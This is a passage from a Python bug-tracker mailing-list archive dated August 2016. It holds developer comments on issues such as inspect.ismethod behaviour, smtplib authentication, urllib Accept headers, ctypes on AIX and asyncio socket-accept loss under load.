you still think so. ;) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:45:50 2016 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 30 Aug 2016 19:45:50 +0000 Subject: [issue27901] inspect.ismethod returns different results on the same basic code between Python2.7 Python3.5 In-Reply-To: <1472585181.25.0.672560198795.issue27901@psf.upfronthosting.co.za> Message-ID: <1472586350.87.0.888406786261.issue27901@psf.upfronthosting.co.za> Mark Dickinson added the comment: Note that Python 3 did away with unbound methods: in Python 3, `a.m` is simply a function, so there's little the `inspect` module can do to distinguish it from a regular top-level function. https://docs.python.org/3/whatsnew/3.0.html#operators-and-special-methods ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:46:52 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 30 Aug 2016 19:46:52 +0000 Subject: [issue27901] inspect.ismethod returns different results on the same basic code between Python2.7 Python3.5 In-Reply-To: <1472585181.25.0.672560198795.issue27901@psf.upfronthosting.co.za> Message-ID: <1472586412.41.0.467248789923.issue27901@psf.upfronthosting.co.za> R. David Murray added the comment: They are both correct. In 2.7 a class method is a method. In python3, a class method is a function. As for the docs, the python3 docs say that it returns true for "a bound method on an object", while the python2 docs say "a bound or unbound method". A class method is not bound, and unbound method do not exist in python3. So the docs are correct as well. The notes about the difference could go into a porting guide, but I don't think they belong in the main docs. To fix your code, just treat function objects on classes as what you are thinking of as methods. Because they are: any function assigned to a class becomes a bound method when invoked through an instance. I think that's even backward compatible, though I haven't checked. ---------- nosy: +r.david.murray resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:57:34 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 30 Aug 2016 19:57:34 +0000 Subject: [issue27895] Spelling fixes In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za> Message-ID: <20160830195731.31657.93098.E2DE5622@psf.io> Roundup Robot added the comment: New changeset 89ce78ce1bfa by Raymond Hettinger in branch 'default': Issue #27895: Strengthen the dict reader tests. https://hg.python.org/cpython/rev/89ce78ce1bfa ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 16:40:21 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 30 Aug 2016 20:40:21 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472589621.52.0.394188505293.issue27867@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I like this. Very nice. What I understand is that callers that access PySlice_GetIndicesEx via the header file (included with Python.h) will see the function as a macro. When the macro is expanded, the length expression will be evaluated after any __index__ calls. This approach requires that the length expression calculate the length from the sequence, rather than being a length computer before the call. I checked and all of our users in /Objects pass some form of seq.get_size(). This approach also requires that the function be accessed via .h rather than directly as the function in the .c file. If we go this way, should he PySlice_GetIndicesEx doc say something? I reviewed the two new functions and am satisfied a) that they correctly separate converting None and non-ints to ints from adjusting start and stop as ints according to length and b) that the effect of the change in logic for the latter is to stop making unnecessary checks that must fail. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 16:47:12 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 20:47:12 +0000 Subject: [issue27894] Fix to_addrs refs in smtplib docs Message-ID: <1472590032.02.0.796141204375.issue27894@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 16:47:27 2016 From: report at bugs.python.org (Steve Holden) Date: Tue, 30 Aug 2016 20:47:27 +0000 Subject: [issue27842] Order CSV header fields In-Reply-To: <1471970562.41.0.180278117892.issue27842@psf.upfronthosting.co.za> Message-ID: <1472590047.74.0.71515599673.issue27842@psf.upfronthosting.co.za> Steve Holden added the comment: A pleasure. Pretty heavily committed at present, but all Python related so maybe there'll be more small positive improvements. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 16:49:35 2016 From: report at bugs.python.org (Jaroslav) Date: Tue, 30 Aug 2016 20:49:35 +0000 Subject: [issue27902] pstats.Stats: strip_dirs() method cannot handle file paths from different OS Message-ID: <1472590175.77.0.992836532809.issue27902@psf.upfronthosting.co.za> New submission from Jaroslav: Setup ===== profile data from machine ------------------------- - Win 7 (64bit) - Python 3.5.2 (32bit) data analyzed on ---------------- - Lubuntu 16.04 (64bit) incl. Python 3 issue ----- method strip_dirs() cannot extract the base name since it assumes the Unix-style file paths. not tested for opposite direction. no exception emitted. comment ------- 1. optional argument controlling the used 'path' module can definitely help 2. documentation update will be welcome ---------- components: Windows messages: 273964 nosy: Jaroslav, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: pstats.Stats: strip_dirs() method cannot handle file paths from different OS type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 16:55:34 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 20:55:34 +0000 Subject: [issue11734] Add half-float (16-bit) support to struct module In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za> Message-ID: <1472590534.6.0.412233647983.issue11734@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Mark probably already knows this, but I found this SO answer to be informative: http://stackoverflow.com/questions/3886988/how-to-distinguish-different-types-of-nan-float-in-python ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:05:21 2016 From: report at bugs.python.org (Miko Ohtamaa) Date: Tue, 30 Aug 2016 21:05:21 +0000 Subject: [issue25446] smtplib.py AUTH LOGIN code messed up sending login and password data since 3.5 In-Reply-To: <1445355692.4.0.944252984253.issue25446@psf.upfronthosting.co.za> Message-ID: <1472591121.77.0.30308067411.issue25446@psf.upfronthosting.co.za> Miko Ohtamaa added the comment: I think there is something more in this. I am running Python 3.5.0 (default, Apr 24 2016, 12:47:36). Sparkpost servers require AUTH LOGIN approach as per their instructions https://support.sparkpost.com/customer/portal/articles/1988470-smtp-connection-problems When trying to use these (free) servers smtplib authentication will result to smtplib.SMTPAuthenticationError: (500, b'5.5.2 unrecognized command') like in the issue description earlier. I am still investigating this. ---------- nosy: +miohtama, ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:08:00 2016 From: report at bugs.python.org (Anthony Flury) Date: Tue, 30 Aug 2016 21:08:00 +0000 Subject: [issue27901] inspect.ismethod returns different results on the same basic code between Python2.7 Python3.5 In-Reply-To: <1472585181.25.0.672560198795.issue27901@psf.upfronthosting.co.za> Message-ID: <1472591280.18.0.88755748748.issue27901@psf.upfronthosting.co.za> Anthony Flury added the comment: Not sure I agree with closing this. I am not convinced (as a reasonably seasoned developer) that the documentation is clear. It may not be a bug in the code, resulting as it does from a change in the way methods are implemented in Python 3.5, but I do think that the documentation could be a lot clearer. It does read as if it is written for someone who already knows what the library does, rather than as a guide for someone trying to work through it for the first time. I have changed this to a documentation issue - I hope that this is ok. ---------- assignee: -> docs at python components: +Documentation -Library (Lib) nosy: +docs at python resolution: not a bug -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:17:55 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 21:17:55 +0000 Subject: [issue22450] urllib doesn't put Accept: */* in the headers In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za> Message-ID: <1472591875.78.0.707534585638.issue22450@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Update: After more research, I learned that while 'Accept: */*' should not have an effect on the origin webserver, it can and does have an effect on proxy servers. Origin servers are allowed to vary the content-type of responses when given different Accept headers. When they do so, they should also send "Vary: Accept". Proxy servers such as NGinx and Varnish respond to the "Vary: Accept" by caching the different responses using a combination of url and the accept header as the cache key. If the request has 'Accept: */*', then the cache lookup returns the same result as if the 'Accept: */*' had been passed directly to the server. However, if the Accept header is omitted, the proxy cache can return any of the cached responses (typically the most recent, regardless of content-type). Accordingly, it is a good practice to include 'Accept: */*' in the request so that you get a consistent result (what the server would have returned) rather than the inconsistent and unpredictable content-types you would receive in the absence of the Accept header. I believe that is why the other tools and book examples use 'Accept: */*' even though the origin wouldn't care. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:19:38 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 21:19:38 +0000 Subject: [issue27903] Avoid ResourceWarnings from platform._dist_try_harder Message-ID: <1472591978.31.0.987771003839.issue27903@psf.upfronthosting.co.za> New submission from Ville Skytt?: Use opened files as context managers. ---------- components: Library (Lib) files: platform-resourcewarning.patch keywords: patch messages: 273969 nosy: scop priority: normal severity: normal status: open title: Avoid ResourceWarnings from platform._dist_try_harder type: enhancement Added file: http://bugs.python.org/file44283/platform-resourcewarning.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:21:59 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 21:21:59 +0000 Subject: [issue22450] urllib doesn't put Accept: */* in the headers In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za> Message-ID: <1472592119.62.0.602317811991.issue22450@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Putting it another way: To an origin server, 'Accept: */*' means it can return anything it wants. To a proxy server, the absence of an accept header means in can return anything it has cached (possibly different from what the origin server would have returned). In contract, to a proxy server, 'Accept: */*' means return exactly what the origin server would have returned with the same headers. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:35:23 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 21:35:23 +0000 Subject: [issue27904] Let logging format more messages on demand Message-ID: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> New submission from Ville Skytt?: Avoid some string formatting operations on disabled log levels. ---------- files: logging.patch keywords: patch messages: 273971 nosy: scop priority: normal severity: normal status: open title: Let logging format more messages on demand type: performance Added file: http://bugs.python.org/file44284/logging.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:42:47 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Tue, 30 Aug 2016 21:42:47 +0000 Subject: [issue27895] Spelling fixes In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za> Message-ID: <1472593367.83.0.698362357067.issue27895@psf.upfronthosting.co.za> Ville Skytt? added the comment: Right, I noticed the asyncio test breakage as well, that was one of the reasons I attached a couple of versions of the patch. spelling3 was not supposed to contain the breaking changes any more, maybe you worked on an earlier one? Anyway, thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:44:36 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 30 Aug 2016 21:44:36 +0000 Subject: [issue18899] make pystone.py Py3 compatible in benchmark suite In-Reply-To: <1378056891.98.0.165106942337.issue18899@psf.upfronthosting.co.za> Message-ID: <1472593476.21.0.0257835414651.issue18899@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:47:35 2016 From: report at bugs.python.org (R. David Murray) Date: Tue, 30 Aug 2016 21:47:35 +0000 Subject: [issue27902] pstats.Stats: strip_dirs() method cannot handle file paths from different OS In-Reply-To: <1472590175.77.0.992836532809.issue27902@psf.upfronthosting.co.za> Message-ID: <1472593655.56.0.848457641993.issue27902@psf.upfronthosting.co.za> R. David Murray added the comment: We could add to the compatibility paragraph that compatibility with files produced by the same program on a different platform is not guaranteed. For the option, that would be an enhancement, and you should open a new issue for that. ---------- assignee: -> docs at python components: +Documentation -Windows nosy: +docs at python, r.david.murray stage: -> needs patch type: behavior -> enhancement versions: +Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 17:51:20 2016 From: report at bugs.python.org (Michael Lee) Date: Tue, 30 Aug 2016 21:51:20 +0000 Subject: [issue27905] Add documentation for typing.Type Message-ID: <1472593880.19.0.114422348142.issue27905@psf.upfronthosting.co.za> New submission from Michael Lee: This patch adds some documentation for typing.Type[C]. The content itself is mostly an abbreviated version of the description from PEP 484 -- let me know if the patch is too terse or needs more examples. ---------- assignee: docs at python components: Documentation files: document-type.patch keywords: patch messages: 273974 nosy: docs at python, gvanrossum, michael0x2a priority: normal severity: normal status: open title: Add documentation for typing.Type versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44285/document-type.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 18:17:23 2016 From: report at bugs.python.org (Martin Panter) Date: Tue, 30 Aug 2016 22:17:23 +0000 Subject: [issue27893] email.parser.BytesParser.parsebytes docs fix Message-ID: <1472595443.04.0.800364435102.issue27893@psf.upfronthosting.co.za> New submission from Martin Panter: Actually it seems the parameter is called *text*: >>> BytesParser().parsebytes(bytes=b"") TypeError: parsebytes() got an unexpected keyword argument 'bytes' >>> BytesParser().parsebytes(text=b"") ---------- components: +email nosy: +barry, martin.panter, r.david.murray title: BytesParser.parsebytes docstring fix -> email.parser.BytesParser.parsebytes docs fix versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 18:19:35 2016 From: report at bugs.python.org (Stefan Krah) Date: Tue, 30 Aug 2016 22:19:35 +0000 Subject: [issue26284] Fix telco benchmark In-Reply-To: <1454596081.41.0.621997504219.issue26284@psf.upfronthosting.co.za> Message-ID: <1472595575.79.0.556239764318.issue26284@psf.upfronthosting.co.za> Stefan Krah added the comment: Wow, on my machine this is very stable, great. The output should be like http://www.bytereef.org/software/mpdecimal/benchmarks/telco.py , but printing one number only should be okay. The important thing is that some decimal is printed at all to test the formatting speed. So LGTM. ---------- assignee: skrah -> haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 18:35:26 2016 From: report at bugs.python.org (Michael Felt) Date: Tue, 30 Aug 2016 22:35:26 +0000 Subject: [issue26439] ctypes.util.find_library fails when ldconfig/glibc not available (e.g., AIX) In-Reply-To: <1472281877.65.0.784853080252.issue26439@psf.upfronthosting.co.za> Message-ID: <57C60A36.1070709@gmail.com> Michael Felt added the comment: On 27-Aug-16 09:11, Martin Panter wrote: > Martin Panter added the comment: > > The documentation is in RST format in the Doc/ directory. For basic stuff, you can just copy the syntax from existing text, or see e.g. for more hints. For this change, I think we need to mention in Doc/library/ctypes.rst: > > * the special AIX changes for find_library(); include ?.. versionchanged::? (or maybe versionadded? I?m not sure) notice > * the change for the CDLL constructor, also with versionchanged > > Perhaps also add an entry to Doc/whatsnew/3.6.rst. > > Patch 160823 does not addressed many of my previous comments. Please have a closer look. I can make simple changes to simplify the code myself, but I don?t really know what to do about the questionable regular expressions, for instance. As far as regular expressions go, that will always be difficult for me aka questionable for you. Every language has it's nuances and I never seem to get them right. > > Also, see . What was wrong with the cases supported by your original patches? As you clearly pointed out, there were no prior cases showing their need. I was taking an unbiased approach in that I knew no previous code well. I was just trying to make it work and was trying to think of cases were it could go wrong. In short, I was trying to solve issues that do not exist. People accept whatever libFOO.so points to as a symbolic link - and expect libSOO.so to be the name of the shared library that dlopen() is going to open somewhere. Once I understood the boundaries of find_library("foo") I limited myself to only resolve in the way the compile-time resolution is done. As such, find_library("c") is the equivalent of -lc and needs to resolve to libc.a(shr.o) - period (32-bit) or libc.a(shr_64.o) (64-bit). The linker is not looking for a particular member name: it only uses -lFOO to find libFOO.a, and it it exists it looks for a symbol. The member name that contains the symbol is what it stores in the executable (displayed via dump -H). So, getting back to this patch and packaging conventions. Basically, libtool has standardised how members are named, i.e., versioning. In most cases with OSS packages the only member-name that gets stored is the same name that libFOO.so would be a symbolic link to. Again, the compiler-linker only needs the name of the archive. The member name within the archive is irrelevant - from a compiler/linker perspective. My goal for find_library() is to find the most likely name based on some legacy "rules" from the way IBM packaged libraries starting over 20 years ago (aka AIX 4 standards) that are alive today to support binary compatibility - as much as possible. Mainly, that is relevant for libraries/archives such as libc.a. For new libraries, especially OSS packages built using the GNU autotools (and finishing with libtool) there are other conventions. Finally, we had different goals - my focus was on writing something that matches other platforms python2 behavior, not on writing a new syntax specific for Python3.6 and AIX. If I were to do be writing a new syntax I would prefer that it also work for other platforms. Something different for only one platform feels wrong - imho. In closing: a) regular expressions and me is always a headache for someone. please accept my apologies if I have given you a headache. b) I had assumed abilities for find_library() (from studying the output of ldconfig and trying to follow the regular expressions in the current code) that are not used. To assume makes an ass of u and me - especially me. c) I also apologize for not meeting your expectations. I cut code, rather than defend it, as you were correct that is was not based on meeting the needs of general aka current practice. I am not trying to redesign find_library(). My hope is that most python code would work asis - if they follow conventions aka general practice (not equivalent to best practice as best depends (in part) on your goal). > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 20:19:38 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 00:19:38 +0000 Subject: [issue17642] IDLE add font resizing hot keys and wheel In-Reply-To: <1365228385.87.0.236246362772.issue17642@psf.upfronthosting.co.za> Message-ID: <20160831001928.14257.79901.CBADFC15@psf.io> Roundup Robot added the comment: New changeset f478f9b88319 by Terry Jan Reedy in branch '2.7': Issue #17642: add larger font sizes for classroom projection. https://hg.python.org/cpython/rev/f478f9b88319 New changeset c9d59e6cc1e4 by Terry Jan Reedy in branch 'default': Issue #17642: add larger font sizes for classroom projection. https://hg.python.org/cpython/rev/c9d59e6cc1e4 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 20:22:53 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 31 Aug 2016 00:22:53 +0000 Subject: [issue17642] IDLE add font resizing hot keys and wheel In-Reply-To: <1365228385.87.0.236246362772.issue17642@psf.upfronthosting.co.za> Message-ID: <1472602973.83.0.238606724533.issue17642@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I intend to backport the simple list expansion to 3.5. Key or wheel patches will probably be 3.6 only. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 20:30:41 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Wed, 31 Aug 2016 00:30:41 +0000 Subject: [issue27901] inspect.ismethod returns different results on the same basic code between Python2.7 Python3.5 In-Reply-To: <1472585181.25.0.672560198795.issue27901@psf.upfronthosting.co.za> Message-ID: <1472603441.03.0.537327687325.issue27901@psf.upfronthosting.co.za> Steven D'Aprano added the comment: > I do think that the documentation could be a lot clearer. Which specific documentation are you referring to? The "What's New" document from 3.0? That's a historical document, a snapshot of the past. If you have a concern about the current documentation, can you tell us specifically where and what? ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 20:31:14 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 31 Aug 2016 00:31:14 +0000 Subject: [issue27893] email.parser.BytesParser.parsebytes docs fix In-Reply-To: <1472595443.04.0.800364435102.issue27893@psf.upfronthosting.co.za> Message-ID: <1472603474.43.0.169355263406.issue27893@psf.upfronthosting.co.za> R. David Murray added the comment: Yeah, and it should probably remain so at this point. It's not even completely wrong; from an email perspective it is text. It should also say "equivalent", not "precisely equivalent", since BytesIO is not in fact involved in the implementation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 20:33:28 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 31 Aug 2016 00:33:28 +0000 Subject: [issue22450] urllib doesn't put Accept: */* in the headers In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za> Message-ID: <1472603608.8.0.635059431144.issue22450@psf.upfronthosting.co.za> Martin Panter added the comment: ?Proxy servers such as NGinx and Varnish: . . . if the Accept header is omitted, the proxy cache can return any of the cached responses.? This is not really my area of expertise, but this behaviour is inconsistent with my understanding of how Accept and Vary are supposed to work in general. I would expect a cache to treat a missing Accept field as a separate ?value? that does not match any specific Accept value. See . Also, what about a server that sets ?Vary: Cookie?, to send a response that depends on whether the user has already seen the page. Do these NGinx and Varnish caches respond with a random response if Cookie is missing? I still think if you care about the media type, it is better practice to specify what types you want with a more explicit Accept value. And if you don?t care about the media type, the NGinx/Varnish behaviour may not be a problem anyway. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 20:34:55 2016 From: report at bugs.python.org (Clay Gerrard) Date: Wed, 31 Aug 2016 00:34:55 +0000 Subject: [issue22233] http.client splits headers on non-\r\n characters In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za> Message-ID: <1472603695.41.0.452505929741.issue22233@psf.upfronthosting.co.za> Clay Gerrard added the comment: BUMP. ;) This issue was recently raised as one blocker to OpenStack Object Storage (Swift) finishing our port to python3 (we're hoping to finish adding support >=3.5 by Spring '17 - /me crosses fingers). I wonder if someone might confirm or deny the attached patch is likely to be included in the 3.6 timeframe (circa 12/16?) and/or back-ported to the 3.5 series? FWIW, I would echo other's sentiment that I would much prefer the implementation to be correct even if there was some worry we might have to choose between further optimization and getting a fix ASAP :D Warm Regards, -Clay ---------- nosy: +Clay Gerrard _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 20:39:32 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 31 Aug 2016 00:39:32 +0000 Subject: [issue27901] inspect.ismethod returns different results on the same basic code between Python2.7 Python3.5 In-Reply-To: <1472585181.25.0.672560198795.issue27901@psf.upfronthosting.co.za> Message-ID: <1472603972.1.0.749177056808.issue27901@psf.upfronthosting.co.za> R. David Murray added the comment: The docs do not so much assume you know what the library does, as they assume you know how python3 works. Which is to say, that bound methods are obtained from instances and that functions defined on a class are functions. That's documented in the data model docs, and the inspect docs in general assume you understand the python data model and are using inspect to probe it. As Steven said, if you can point specifically to something you think can be improved we will consider it, but know that the python3 docs are in general written without respect to how python2 worked. There are very few references to python2 in the python3 docs, and this is by design. The story is different in the python2 docs, so conceivably there could be something inserted there about the python3 difference. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 20:42:41 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 31 Aug 2016 00:42:41 +0000 Subject: [issue27901] inspect.ismethod returns different results on the same basic code between Python2.7 Python3.5 In-Reply-To: <1472585181.25.0.672560198795.issue27901@psf.upfronthosting.co.za> Message-ID: <1472604161.5.0.757882122619.issue27901@psf.upfronthosting.co.za> R. David Murray added the comment: Perhaps we could add a cross link from 'bound method' to the 'instance methods' section of the data model docs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 21:17:52 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 01:17:52 +0000 Subject: [issue27893] email.parser.BytesParser.parsebytes docs fix In-Reply-To: <1472595443.04.0.800364435102.issue27893@psf.upfronthosting.co.za> Message-ID: <20160831011749.52817.47258.80D8A04C@psf.io> Roundup Robot added the comment: New changeset b8dd9ae08a91 by R David Murray in branch '3.5': #27893: arg name and bytes references in email.parser docs. https://hg.python.org/cpython/rev/b8dd9ae08a91 New changeset 059f9f518834 by R David Murray in branch 'default': Merge #27893: arg name and bytes references in email.parser docs. https://hg.python.org/cpython/rev/059f9f518834 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 21:19:30 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 31 Aug 2016 01:19:30 +0000 Subject: [issue27893] email.parser.BytesParser.parsebytes docs fix In-Reply-To: <1472595443.04.0.800364435102.issue27893@psf.upfronthosting.co.za> Message-ID: <1472606370.54.0.672120259094.issue27893@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 21:29:31 2016 From: report at bugs.python.org (Anthony Flury) Date: Wed, 31 Aug 2016 01:29:31 +0000 Subject: [issue27901] inspect.ismethod returns different results on the same basic code between Python2.7 Python3.5 In-Reply-To: <1472585181.25.0.672560198795.issue27901@psf.upfronthosting.co.za> Message-ID: <1472606971.12.0.900612809118.issue27901@psf.upfronthosting.co.za> Anthony Flury added the comment: Assuming the reader knows the details of how Python works is not a great assumption when those documents are being used (by the most part) by people like me who are reasonable developers but who don't know, and for most cases don't care about the internals of Python. The inspect library is a bit different I conceed, as the user is starting to poke under the belly of the beast as it were, but i do think it would be useful to link from Inspect to the data model docs, were the terminology is discussed in more detail. If I had tried to port my existing code to Python3.5, and it would have failed it's test set at this point - I don't think that the inspect library docs as they are would have helped. I know inspect is deliving into the internals - but for most people a block of code within a def block within a class definition is a method - that is what everyone refers to them - even though internally they aren't bound, and aren't 'methods' strictly speaking - I think the docs should try to bridge the gap between common (non expert) language and the correct language terminology where neccessary ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 21:45:36 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 31 Aug 2016 01:45:36 +0000 Subject: [issue22233] http.client splits headers on non-\r\n characters In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za> Message-ID: <1472607936.05.0.102029335036.issue22233@psf.upfronthosting.co.za> Martin Panter added the comment: If someone reviews my patch and thinks it is fine, I might commit it. Maybe I can just re-review it myself, now that I have forgotten all the details :) If messing with the email package is a problem (performance, or compatibility), another option is to keep the changes to the HTTP module (which I would be more confident in changing on my own). I have another patch for review at Issue 24363 which apparently also fixes this splitlines() bug. ---------- versions: -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 21:57:24 2016 From: report at bugs.python.org (kevinconway) Date: Wed, 31 Aug 2016 01:57:24 +0000 Subject: [issue27906] Socket accept exhaustion during high TCP traffic Message-ID: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za> New submission from kevinconway: My organization noticed this issue after launching several asyncio services that would receive either a sustained high number of incoming connections or regular bursts of traffic. Our monitoring showed a loss of between 4% and 6% of all incoming requests. On the client side we see a socket read error "Connection reset by peer". On the asyncio side, with debug turned on, we see nothing. After some more investigation we determined asyncio was not calling 'accept()' on the listening socket fast enough. To further test this we put together several hello-world type examples and put them under load. I've attached the project we used to test. Included are three docker files that will run the services under different configurations. One runs the service as an aiohttp service, the other uses the aiohttp worker behind gunicorn, and the third runs the aiohttp service with the proposed asyncio patch in place. For our testing we used 'wrk' to generate traffic and collect data on the OS/socket errors. For anyone attempting to recreate our experiments, we ran a three test batteries against the service for each endpoint using: wrk --duration 30s --timeout 10s --latency --threads 2 --connections 10 wrk --duration 30s --timeout 10s --latency --threads 2 --connections 100 wrk --duration 30s --timeout 10s --latency --threads 2 --connections 1000 The endpoints most valuable for us to test were the ones that replicated some of our production logic: / # Hello World /sleep?time=100 # Every request is delayed by 100 milliseconds and returns an HTML message. /blocking/inband # Every request performs a bcrypt with complexity 10 and performs the CPU blocking work on the event loop thread. Our results varied based on the available CPU cycles, but we consistently recreate the socket read errors from production using the above tests. Our proposed solution, attached as a patch file, is to put the socket.accept() call in a loop that is bounded by the listening socket's backlog. We use the backlog value as an upper bound to prevent the reverse situation of starving active coroutines while the event loop continues to accept new connections without yielding. With the proposed patch in place our loss rate disappeared. For further comparison, we reviewed the socket accept logic in Twisted against which we ran similar tests and encountered no loss. We found that Twisted already runs the socket accept in a bounded loop to prevent this issue (https://github.com/twisted/twisted/blob/trunk/src/twisted/internet/tcp.py#L1028). ---------- components: asyncio files: testservice.zip messages: 273989 nosy: gvanrossum, haypo, kevinconway, yselivanov priority: normal severity: normal status: open title: Socket accept exhaustion during high TCP traffic versions: Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44286/testservice.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 21:58:04 2016 From: report at bugs.python.org (kevinconway) Date: Wed, 31 Aug 2016 01:58:04 +0000 Subject: [issue27906] Socket accept exhaustion during high TCP traffic In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za> Message-ID: <1472608684.04.0.987904310841.issue27906@psf.upfronthosting.co.za> kevinconway added the comment: Attaching the patch file ---------- keywords: +patch Added file: http://bugs.python.org/file44287/multi-accept.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 22:14:42 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 31 Aug 2016 02:14:42 +0000 Subject: [issue27903] Avoid ResourceWarnings from platform._dist_try_harder In-Reply-To: <1472591978.31.0.987771003839.issue27903@psf.upfronthosting.co.za> Message-ID: <1472609682.99.0.827310234498.issue27903@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- nosy: +lemburg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 22:18:34 2016 From: report at bugs.python.org (Doug Hellmann) Date: Wed, 31 Aug 2016 02:18:34 +0000 Subject: [issue22233] http.client splits headers on non-\r\n characters In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za> Message-ID: <1472609914.91.0.501487270001.issue22233@psf.upfronthosting.co.za> Changes by Doug Hellmann : ---------- nosy: +doughellmann _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 22:22:18 2016 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 31 Aug 